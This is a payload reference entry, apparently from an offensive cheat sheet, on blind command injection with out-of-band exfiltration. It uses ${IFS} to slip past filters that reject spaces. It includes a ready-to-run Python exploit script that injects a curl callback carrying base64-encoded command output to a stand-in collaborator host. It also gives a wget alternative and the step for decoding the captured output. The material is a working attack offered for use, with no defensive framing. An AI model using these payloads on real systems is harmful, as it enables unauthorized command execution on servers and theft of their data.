Blind OOB
Blind command injection: out-of-band output exfiltration with ${IFS} space bypass
A blind command-injection sink executes the injected shell command but does not place stdout in the application response. Out-of-band exfiltration creates a second request from the target to a controlled callback server and places the command output in that request.
${IFS} expands the shell’s Internal Field Separator variable. Its default value contains whitespace used by the shell to separate command arguments. Replacing literal spaces with ${IFS} therefore preserves argument separation when an application filter rejects space characters.
The payload uses the following shell operations:
; -> finish the original command and begin another command
$(<COMMAND>|base64 -w0) -> execute <COMMAND>, encode stdout, and insert the encoded text
curl http://<HOST>/<DATA> -> send that text in the path of an outbound HTTP request
# -> comment any unused shell syntax appended by the application$() is command substitution: the shell executes the command inside the parentheses and substitutes its stdout into the surrounding command. base64 -w0 converts the output to one line so embedded newlines do not break the callback URL.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
URL = "http://<TARGET>"
COLLABORATOR_DOMAIN = "<COLLABORATOR_DOMAIN>"
PROXIES = {}
def send_exploit(s, command):
callback_command = f"curl http://{COLLABORATOR_DOMAIN}/$({command}|base64 -w0)"
payload = f"<VALID_PREFIX>;{callback_command};#"
payload = payload.replace(" ", "${IFS}")
data = {
"<INJECTED_FIELD>": payload
}
r = s.post(url=f"{URL}/<EXPLOIT_ENDPOINT>", data=data, verify=False, timeout=10, proxies=PROXIES)
return r
if __name__ == "__main__":
s = requests.Session()
command = "<COMMAND>"
r = send_exploit(s, command)
if r.ok:
print(f"[+] Command sent. OOB listener: {COLLABORATOR_DOMAIN}")
else:
print(f"[-] Delivery failed with HTTP {r.status_code}")wget alternative
wget -qO- sends the same HTTP callback when curl is unavailable. -q suppresses progress output and -O- writes the response body to stdout rather than a file.
<VALID_PREFIX>;wget${IFS}-qO-${IFS}http://<COLLABORATOR_DOMAIN>/$(<COMMAND>|base64${IFS}-w0);#Callback and decoding
GET /<BASE64_OUTPUT> HTTP/1.1
Host: <COLLABORATOR_DOMAIN>The path component is decoded locally:
echo '<BASE64_OUTPUT>' | base64 -dExpected output
<COMMAND_OUTPUT>Find by: blind command injection, OOB exfiltration, collaborator, interactsh, oastify, HTTP exfiltration, IFS, internal field separator, space filter bypass, command substitution, no output reflection, RCE, base64 exfil